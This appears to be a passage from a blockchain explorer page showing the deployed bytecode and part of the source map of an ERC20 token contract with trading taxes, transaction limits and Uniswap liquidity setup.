d609a1e9a5b9c45efe8b6640523998ede81764736f6c63430008170033
Deployed Bytecode
0x608060405260043610610113575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c0146102c457806395d89b411461011e578063a9059cbb146102d9578063bf474bed146102f8578063dd62ed3e1461030d575f80fd5b8063715018a614610259578063751039fc1461026d5780637d1db4a5146102815780638a8c523c146102965780638da5cb5b1461029e575f80fd5b806323b872dd116100e357806323b872dd146101c1578063313ce567146101e057806351bc3c85146101fb5780636fc3eaec1461021157806370a0823114610225575f80fd5b806306fdde031461011e578063095ea7b31461015b5780630faee56f1461018a57806318160ddd146101ad575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820182526006815265413147334e3760d01b602082015290516101529190611a7d565b60405180910390f35b348015610166575f80fd5b5061017a610175366004611add565b610351565b6040519015158152602001610152565b348015610195575f80fd5b5061019f60105481565b604051908152602001610152565b3480156101b8575f80fd5b5061019f610367565b3480156101cc575f80fd5b5061017a6101db366004611b07565b610388565b3480156101eb575f80fd5b5060405160098152602001610152565b348015610206575f80fd5b5061020f6103ef565b005b34801561021c575f80fd5b5061020f610440565b348015610230575f80fd5b5061019f61023f366004611b45565b6001600160a01b03165f9081526001602052604090205490565b348015610264575f80fd5b5061020f61046c565b348015610278575f80fd5b5061020f6104e6565b34801561028c575f80fd5b5061019f600d5481565b61020f61059a565b3480156102a9575f80fd5b505f546040516001600160a01b039091168152602001610152565b3480156102cf575f80fd5b5061019f600e5481565b3480156102e4575f80fd5b5061017a6102f3366004611add565b610e22565b348015610303575f80fd5b5061019f600f5481565b348015610318575f80fd5b5061019f610327366004611b60565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61035d338484610e2e565b5060015b92915050565b5f6103746009600a611c8b565b6103839064174876e800611c99565b905090565b5f610394848484610f52565b6103e584336103e085604051806060016040528060288152602001611e7f602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906114d1565b610e2e565b5060019392505050565b6004546001600160a01b0316336001600160a01b03161461040e575f80fd5b305f90815260016020526040902054801561042c5761042c81611509565b47801561043c5761043c81611673565b5050565b6004546001600160a01b0316336001600160a01b03161461045f575f80fd5b4761046981611673565b50565b5f546001600160a01b0316331461049e5760405162461bcd60e51b815260040161049590611cb0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461050f5760405162461bcd60e51b815260040161049590611cb0565b61051b6009600a611c8b565b61052a9064174876e800611c99565b600d556105396009600a611c8b565b6105489064174876e800611c99565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105786009600a611c8b565b6105879064174876e800611c99565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105c35760405162461bcd60e51b815260040161049590611cb0565b60165460ff16156106165760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610495565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b815290515f929163c45a01559160048083019260209291908290030181865afa15801561067a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069e9190611ce5565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107209190611ce5565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610768573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078c9190611ce5565b6001600160a01b0316036109245760125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ea573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080e9190611ce5565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561086d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108919190611ce5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ff9190611ce5565b601380546001600160a01b0319166001600160a01b0392909216919091179055610aa7565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610974573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109989190611ce5565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109f6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a1a9190611ce5565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610a62573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a869190611ce5565b601380546001600160a01b0319166001600160a01b03929092169190911790555b6016805460ff191660011790555f610ad3306001600160a01b03165f9081526001602052604090205490565b601254909150610aee9030906001600160a01b031683610e2e565b60135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610b40573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b649190611d00565b50601254604080516315ab88c960e31b815290515f926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa158015610bac573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bd09190611ce5565b6013546040516370a0823160e01b81526001600160a01b0391821660048201529192505f9182918416906370a0823190602401602060405180830381865afa158015610c1e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c429190611d1f565b90508015610d7d57610c5447826116aa565b91505f610c6b83610c6587856116f2565b90611770565b601354909150610c869030906001600160a01b031683610f52565b60135f9054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610cd2575f80fd5b505af1158015610ce4573d5f803e3d5ffd5b50506012546001600160a01b0316915063f305d71990508430885f83610d115f546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610d3396959493929190611d36565b60606040518083038185885af1158015610d4f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d749190611d71565b50505050610e0b565b6012546001600160a01b031663f305d7194730875f80610da45f546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610dc696959493929190611d36565b60606040518083038185885af1158015610de2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e079190611d71565b5050505b50506016805462ff00001916620100001790555050565b5f61035d338484610f52565b6001600160a01b038316610e905760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610495565b6001600160a01b038216610ef15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610495565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610fb65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610495565b6001600160a01b0382166110185760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610495565b5f81116110795760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610495565b601654610100900460ff1680611092575060165460ff16155b156110a7576110a28383836117b1565b505050565b5f80546001600160a01b038581169116148015906110d257505f546001600160a01b03848116911614155b80156110ec57506004546001600160a01b03848116911614155b1561133c576111176064610c65600954600c541161110c57600554611110565b6007545b85906116f2565b6013549091506001600160a01b03858116911614801561114557506012546001600160a01b03848116911614155b801561116957506001600160a01b0383165f9081526003602052604090205460ff16155b1561124f57600d548211156111c05760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610495565b600e54826111e2856001600160a01b03165f9081526001602052604090205490565b6111ec9190611d9c565b111561123a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610495565b600c8054905f61124983611daf565b91905055505b6013546001600160a01b03848116911614801561127557506001600160a01b0384163014155b156112a25761129f6064610c65600a54600c541161129557600654611110565b60085485906116f2565b90505b305f90815260016020526040902054601654610100900460ff161580156112d657506013546001600160a01b038581169116145b80156112ea575060165462010000900460ff165b80156112f75750600f5481115b80156113065750600b54600c54115b1561133a576113286113238461131e84601054611854565b611854565b611509565b4780156113385761133847611673565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061137957506001600160a01b0383165f9081526003602052604090205460ff165b801561138e57506001600160a01b0384163014155b80156113a357506001600160a01b0383163014155b156113ad57436015555b6001600160a01b0384165f9081526003602052604090205460ff161580156113ed57506001600160a01b0383165f9081526003602052604090205460ff16155b156114bf576013546001600160a01b039081169084160361143f576001600160a01b0384165f908152601160205260409020601554815461142e9190611dc7565b6002820155426001909101556114bf565b6001600160a01b038084165f908152601160205260409020601354909186811691160361148b5780545f0361148657600c54600b5410156114805743611483565b5f195b81555b6114bd565b6001600160a01b0385165f908152601160205260409020815415806114b1575081548154105b156114bb57805482555b505b505b6114cb84848385611868565b50505050565b5f81848411156114f45760405162461bcd60e51b81526004016104959190611a7d565b505f6115008486611dc7565b95945050505050565b6016805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061154b5761154b611dda565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115c69190611ce5565b816001815181106115d9576115d9611dda565b6001600160a01b0392831660209182029290920101526012546115ff9130911684610e2e565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906116379085905f90869030904290600401611dee565b5f604051808303815f87803b15801561164e575f80fd5b505af1158015611660573d5f803e3d5ffd5b50506016805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561043c573d5f803e3d5ffd5b5f6116eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114d1565b9392505050565b5f825f0361170157505f610361565b5f61170c8385611c99565b9050826117198583611e5f565b146116eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610495565b5f6116eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611892565b6001600160a01b0383165f908152600160205260409020546117d390826116aa565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461180190826118be565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f459085815260200190565b5f81831161186257826116eb565b50919050565b5f61187485838561191c565b905061188b85858361188686886116aa565b6119cc565b5050505050565b5f81836118b25760405162461bcd60e51b81526004016104959190611a7d565b505f6115008486611e5f565b5f806118ca8385611d9c565b9050838110156116eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610495565b6004545f9081906001600160a01b03908116908616036119485760145461194390856116f2565b61194a565b835b905082156119c457305f9081526001602052604090205461196b90846118be565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119bb9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546119ee90836116aa565b6001600160a01b038086165f908152600160205260408082209390935590851681522054611a1c90826118be565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a6f9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b81811015611aa957858101830151858201604001528201611a8d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610469575f80fd5b5f8060408385031215611aee575f80fd5b8235611af981611ac9565b946020939093013593505050565b5f805f60608486031215611b19575f80fd5b8335611b2481611ac9565b92506020840135611b3481611ac9565b929592945050506040919091013590565b5f60208284031215611b55575f80fd5b81356116eb81611ac9565b5f8060408385031215611b71575f80fd5b8235611b7c81611ac9565b91506020830135611b8c81611ac9565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611be557815f1904821115611bcb57611bcb611b97565b80851615611bd857918102915b93841c9390800290611bb0565b509250929050565b5f82611bfb57506001610361565b81611c0757505f610361565b8160018114611c1d5760028114611c2757611c43565b6001915050610361565b60ff841115611c3857611c38611b97565b50506001821b610361565b5060208310610133831016604e8410600b8410161715611c66575081810a610361565b611c708383611bab565b805f1904821115611c8357611c83611b97565b029392505050565b5f6116eb60ff841683611bed565b808202811582820484141761036157610361611b97565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611cf5575f80fd5b81516116eb81611ac9565b5f60208284031215611d10575f80fd5b815180151581146116eb575f80fd5b5f60208284031215611d2f575f80fd5b5051919050565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f60608486031215611d83575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561036157610361611b97565b5f60018201611dc057611dc0611b97565b5060010190565b8181038181111561036157610361611b97565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611e3e5784516001600160a01b031683529383019391830191600101611e19565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611e7957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203c224a649681a3f9c1de7c69ed2cd609a1e9a5b9c45efe8b6640523998ede81764736f6c63430008170033
Deployed Bytecode Sourcemap
3695:12006:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5757:83;;;;;;;;;;-1:-1:-1;5827:5:0;;;;;;;;;;;-1:-1:-1;;;5827:5:0;;;;5757:83;;;;5827:5;5757:83;:::i;:::-;;;;;;;;6851:161;;;;;;;;;;-1:-1:-1;6851:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6851:161:0;1023:187:1;4766:57:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4766:57:0;1215:177:1;6034:95:0;;;;;;;;;;;;;:::i;7020:446::-;;;;;;;;;;-1:-1:-1;7020:446:0;;;;;:::i;:::-;;:::i;5943:83::-;;;;;;;;;;-1:-1:-1;5943:83:0;;4374:1;2000:36:1;;1988:2;1973:18;5943:83:0;1858:184:1;15297:364:0;;;;;;;;;;;;;:::i;:::-;;15102:187;;;;;;;;;;;;;:::i;6137:119::-;;;;;;;;;;-1:-1:-1;6137:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6230:18:0;6203:7;6230:18;;;:9;:18;;;;;;;6137:119;3538:148;;;;;;;;;;;;;:::i;12813:162::-;;;;;;;;;;;;;:::i;4564:58::-;;;;;;;;;;;;;;;;13083:2011;;;:::i;3324:79::-;;;;;;;;;;-1:-1:-1;3362:7:0;3389:6;3324:79;;-1:-1:-1;;;;;3389:6:0;;;2445:51:1;;2433:2;2418:18;3324:79:0;2299:203:1;4629:60:0;;;;;;;;;;;;;;;;6264:167;;;;;;;;;;-1:-1:-1;6264:167:0;;;;;:::i;:::-;;:::i;4696:63::-;;;;;;;;;;;;;;;;6439:143;;;;;;;;;;-1:-1:-1;6439:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6547:18:0;;;6520:7;6547:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6439:143;6851:161;6926:4;6943:39;1103:10;6966:7;6975:6;6943:8;:39::i;:::-;-1:-1:-1;7000:4:0;6851:161;;;;;:::o;6034:95::-;6087:7;4432:15;4374:1;4432:2;:15;:::i;:::-;4417:30;;:12;:30;:::i;:::-;6107:14;;6034:95;:::o;7020:446::-;7152:4;7169:36;7179:6;7187:9;7198:6;7169:9;:36::i;:::-;7216:220;7239:6;1103:10;7287:138;7343:6;7287:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7287:19:0;;;;;;:11;:19;;;;;;;;1103:10;7287:33;;;;;;;;;;:37;:138::i;:::-;7216:8;:220::i;:::-;-1:-1:-1;7454:4:0;7020:446;;;;;:::o;15297:364::-;15361:10;;-1:-1:-1;;;;;15361:10:0;1103;-1:-1:-1;;;;;15347:24:0;;15339:33;;;;;;15424:4;15383:20;6230:18;;;:9;:18;;;;;;15445:16;;15441:79;;15478:30;15495:12;15478:16;:30::i;:::-;15551:21;15587:14;;15583:71;;15618:24;15631:10;15618:12;:24::i;:::-;15328:333;;15297:364::o;15102:187::-;15166:10;;-1:-1:-1;;;;;15166:10:0;1103;-1:-1:-1;;;;;15152:24:0;;15144:33;;;;;;15217:21;15249:32;15217:21;15249:12;:32::i;:::-;15133:156;15102:187::o;3538:148::-;3451:6;;-1:-1:-1;;;;;3451:6:0;1103:10;3451:22;3443:67;;;;-1:-1:-1;;;3443:67:0;;;;;;;:::i;:::-;;;;;;;;;3645:1:::1;3629:6:::0;;3608:40:::1;::::0;-1:-1:-1;;;;;3629:6:0;;::::1;::::0;3608:40:::1;::::0;3645:1;;3608:40:::1;3676:1;3659:19:::0;;-1:-1:-1;;;;;;3659:19:0::1;::::0;;3538:148::o;12813:162::-;3451:6;;-1:-1:-1;;;;;3451:6:0;1103:10;3451:22;3443:67;;;;-1:-1:-1;;;3443:67:0;;;;;;;:::i;:::-;4432:15:::1;4374:1;4432:2;:15;:::i;:::-;4417:30;::::0;:12:::1;:30;:::i;:::-;12867:12;:22:::0;4432:15:::1;4374:1;4432:2;:15;:::i;:::-;4417:30;::::0;:12:::1;:30;:::i;:::-;12900:14;:24:::0;12940:27:::1;4432:15;4374:1;4432:2;:15;:::i;:::-;4417:30;::::0;:12:::1;:30;:::i;:::-;12940:27;::::0;1361:25:1;;;1349:2;1334:18;12940:27:0::1;;;;;;;12813:162::o:0;13083:2011::-;3451:6;;-1:-1:-1;;;;;3451:6:0;1103:10;3451:22;3443:67;;;;-1:-1:-1;;;3443:67:0;;;;;;;:::i;:::-;13155:11:::1;::::0;::::1;;13154:12;13146:48;;;::::0;-1:-1:-1;;;13146:48:0;;5145:2:1;13146:48:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;13146:48:0::1;4943:347:1::0;13146:48:0::1;13205:15;:80:::0;;-1:-1:-1;;;;;;13205:80:0::1;13242:42;13205:80:::0;;::::1;::::0;;;13332:25:::1;::::0;;-1:-1:-1;;;13332:25:0;;;;13205:15:::1;::::0;13242:42;13332:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;13242:42;13332:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13314:52:0::1;;13385:15;;;;;;;;;-1:-1:-1::0;;;;;13385:15:0::1;-1:-1:-1::0;;;;;13385:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13314:123;::::0;-1:-1:-1;;;;;;13314:123:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;13314:123:0::1;::::0;::::1;5763:34:1::0;13417:4:0::1;5813:18:1::0;;;5806:43;5698:18;;13314:123:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13314:137:0::1;::::0;13296:500:::1;;13508:15;;;;;;;;;-1:-1:-1::0;;;;;13508:15:0::1;-1:-1:-1::0;;;;;13508:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13490:55:0::1;;13572:4;13579:15;;;;;;;;;-1:-1:-1::0;;;;;13579:15:0::1;-1:-1:-1::0;;;;;13579:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13490:126;::::0;-1:-1:-1;;;;;;13490:126:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;13490:126:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;13490:126:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13478:9;:138:::0;;-1:-1:-1;;;;;;13478:138:0::1;-1:-1:-1::0;;;;;13478:138:0;;;::::1;::::0;;;::::1;::::0;;13296:500:::1;;;13679:15;;;;;;;;;-1:-1:-1::0;;;;;13679:15:0::1;-1:-1:-1::0;;;;;13679:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13661:52:0::1;;13732:15;;;;;;;;;-1:-1:-1::0;;;;;13732:15:0::1;-1:-1:-1::0;;;;;13732:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13661:123;::::0;-1:-1:-1;;;;;;13661:123:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;13661:123:0::1;::::0;::::1;5763:34:1::0;13764:4:0::1;5813:18:1::0;;;5806:43;5698:18;;13661:123:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13649:9;:135:::0;;-1:-1:-1;;;;;;13649:135:0::1;-1:-1:-1::0;;;;;13649:135:0;;;::::1;::::0;;;::::1;::::0;;13296:500:::1;13806:11;:18:::0;;-1:-1:-1;;13806:18:0::1;13820:4;13806:18;::::0;;:11:::1;13861:24;13879:4;-1:-1:-1::0;;;;;6230:18:0;6203:7;6230:18;;;:9;:18;;;;;;;6137:119;13861:24:::1;13928:15;::::0;13835:50;;-1:-1:-1;13896:66:0::1;::::0;13913:4:::1;::::0;-1:-1:-1;;;;;13928:15:0::1;13835:50:::0;13896:8:::1;:66::i;:::-;13980:9;::::0;14007:15:::1;::::0;13973:67:::1;::::0;-1:-1:-1;;;13973:67:0;;-1:-1:-1;;;;;14007:15:0;;::::1;13973:67;::::0;::::1;6034:51:1::0;-1:-1:-1;;6101:18:1;;;6094:34;13980:9:0;::::1;::::0;13973:25:::1;::::0;6007:18:1;;13973:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;14073:15:0::1;::::0;:22:::1;::::0;;-1:-1:-1;;;14073:22:0;;;;14051:19:::1;::::0;-1:-1:-1;;;;;14073:15:0::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14193:9;::::0;14163:40:::1;::::0;-1:-1:-1;;;14163:40:0;;-1:-1:-1;;;;;14193:9:0;;::::1;14163:40;::::0;::::1;2445:51:1::0;14051:44:0;;-1:-1:-1;14106:24:0::1;::::0;;;14163:29;::::1;::::0;::::1;::::0;2418:18:1;;14163:40:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14141:62:::0;-1:-1:-1;14218:15:0;;14214:844:::1;;14269:38;:21;14295:11:::0;14269:25:::1;:38::i;:::-;14250:57:::0;-1:-1:-1;14322:18:0::1;14343:54;14250:57:::0;14343:32:::1;:15:::0;14363:11;14343:19:::1;:32::i;:::-;:36:::0;::::1;:54::i;:::-;14436:9;::::0;14322:75;;-1:-1:-1;14412:45:0::1;::::0;14430:4:::1;::::0;-1:-1:-1;;;;;14436:9:0::1;14322:75:::0;14412:9:::1;:45::i;:::-;14487:9;;;;;;;;;-1:-1:-1::0;;;;;14487:9:0::1;-1:-1:-1::0;;;;;14472:30:0::1;;:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;14519:15:0::1;::::0;-1:-1:-1;;;;;14519:15:0::1;::::0;-1:-1:-1;14519:31:0::1;::::0;-1:-1:-1;14558:16:0;14602:4:::1;14626:15:::0;14519::::1;14558:16:::0;14715:7:::1;3362::::0;3389:6;-1:-1:-1;;;;;3389:6:0;;3324:79;14715:7:::1;14741:15;14519:252;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;14235:548;14214:844;;;14804:15;::::0;-1:-1:-1;;;;;14804:15:0::1;:31;14843:21;14892:4;14916:15:::0;14804::::1;::::0;14990:7:::1;3362::::0;3389:6;-1:-1:-1;;;;;3389:6:0;;3324:79;14990:7:::1;15016:15;14804:242;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;14214:844;-1:-1:-1::0;;15068:11:0::1;:18:::0;;-1:-1:-1;;15068:18:0::1;::::0;::::1;::::0;;-1:-1:-1;;13083:2011:0:o;6264:167::-;6342:4;6359:42;1103:10;6383:9;6394:6;6359:9;:42::i;7474:335::-;-1:-1:-1;;;;;7567:19:0;;7559:68;;;;-1:-1:-1;;;7559:68:0;;8339:2:1;7559:68:0;;;8321:21:1;8378:2;8358:18;;;8351:30;8417:34;8397:18;;;8390:62;-1:-1:-1;;;8468:18:1;;;8461:34;8512:19;;7559:68:0;8137:400:1;7559:68:0;-1:-1:-1;;;;;7646:21:0;;7638:68;;;;-1:-1:-1;;;7638:68:0;;8744:2:1;7638:68:0;;;8726:21:1;8783:2;8763:18;;;8756:30;8822:34;8802:18;;;8795:62;-1:-1:-1;;;8873:18:1;;;8866:32;8915:19;;7638:68:0;8542:398:1;7638:68:0;-1:-1:-1;;;;;7717:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7769:32;;1361:25:1;;;7769:32:0;;1334:18:1;7769:32:0;;;;;;;;7474:335;;;:::o;7817:3274::-;-1:-1:-1;;;;;7910:18:0;;7902:68;;;;-1:-1:-1;;;7902:68:0;;9147:2:1;7902:68:0;;;9129:21:1;9186:2;9166:18;;;9159:30;9225:34;9205:18;;;9198:62;-1:-1:-1;;;9276:18:1;;;9269:35;9321:19;;7902:68:0;8945:401:1;7902:68:0;-1:-1:-1;;;;;7989:16:0;;7981:64;;;;-1:-1:-1;;;7981:64:0;;9553:2:1;7981:64:0;;;9535:21:1;9592:2;9572:18;;;9565:30;9631:34;9611:18;;;9604:62;-1:-1:-1;;;9682:18:1;;;9675:33;9725:19;;7981:64:0;9351:399:1;7981:64:0;8078:1;8064:11;:15;8056:69;;;;-1:-1:-1;;;8056:69:0;;9957:2:1;8056:69:0;;;9939:21:1;9996:2;9976:18;;;9969:30;10035:34;10015:18;;;10008:62;-1:-1:-1;;;10086:18:1;;;10079:39;10135:19;;8056:69:0;9755:405:1;8056:69:0;8140:6;;;;;;;;:22;;-1:-1:-1;8151:11:0;;;;8150:12;8140:22;8136:113;;;8179:37;8194:4;8200:2;8204:11;8179:14;:37::i;:::-;7817:3274;;;:::o;8136:113::-;8261:17;3389:6;;-1:-1:-1;;;;;8297:15:0;;;3389:6;;8297:15;;;;:32;;-1:-1:-1;3362:7:0;3389:6;-1:-1:-1;;;;;8316:13:0;;;3389:6;;8316:13;;8297:32;:52;;;;-1:-1:-1;8339:10:0;;-1:-1:-1;;;;;8333:16:0;;;8339:10;;8333:16;;8297:52;8293:1472;;;8378:123;8497:3;8378:96;8425:15;;8413:9;;:27;8412:61;;8459:14;;8412:61;;;8444:12;;8412:61;8378:11;;:33;:96::i;:123::-;8530:9;;8366:135;;-1:-1:-1;;;;;;8522:17:0;;;8530:9;;8522:17;:51;;;;-1:-1:-1;8557:15:0;;-1:-1:-1;;;;;8543:30:0;;;8557:15;;8543:30;;8522:51;:78;;;;-1:-1:-1;;;;;;8578:22:0;;;;;;:18;:22;;;;;;;;8577:23;8522:78;8518:378;;;8644:12;;8629:11;:27;;8621:65;;;;-1:-1:-1;;;8621:65:0;;10367:2:1;8621:65:0;;;10349:21:1;10406:2;10386:18;;;10379:30;10445:27;10425:18;;;10418:55;10490:18;;8621:65:0;10165:349:1;8621:65:0;8766:14;;8751:11;8735:13;8745:2;-1:-1:-1;;;;;6230:18:0;6203:7;6230:18;;;:9;:18;